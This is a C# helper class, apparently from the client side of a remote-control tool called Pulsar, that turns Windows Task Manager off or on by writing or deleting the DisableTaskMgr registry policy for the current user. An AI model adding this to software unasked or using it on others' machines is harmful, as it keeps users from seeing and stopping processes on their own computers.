using Microsoft.Win32; using System; namespace Pulsar.Client.Helper.TaskManager { /// /// Provides functionality to enable or disable the Windows Task Manager. /// public static class TaskManager { private const string RegistryKeyPath = @"Software\Microsoft\Windows\CurrentVersion\Policies\System"; private const string ValueName = "DisableTaskMgr"; /// /// Enables the Windows Task Manager by removing the registry restriction. /// public static void Enable() { try { using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(RegistryKeyPath, true)) { if (key != null) { key.DeleteValue(ValueName, false); } } } catch (Exception ex) { System.Diagnostics.Debug.WriteLine($"Failed to enable Task Manager: {ex.Message}"); } } /// /// Disables the Windows Task Manager by setting the registry restriction. /// public static void Disable() { try { using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(RegistryKeyPath)) { if (key != null) { key.SetValue(ValueName, 1, RegistryValueKind.DWord); } } } catch (Exception ex) { System.Diagnostics.Debug.WriteLine($"Failed to disable Task Manager: {ex.Message}"); } } } }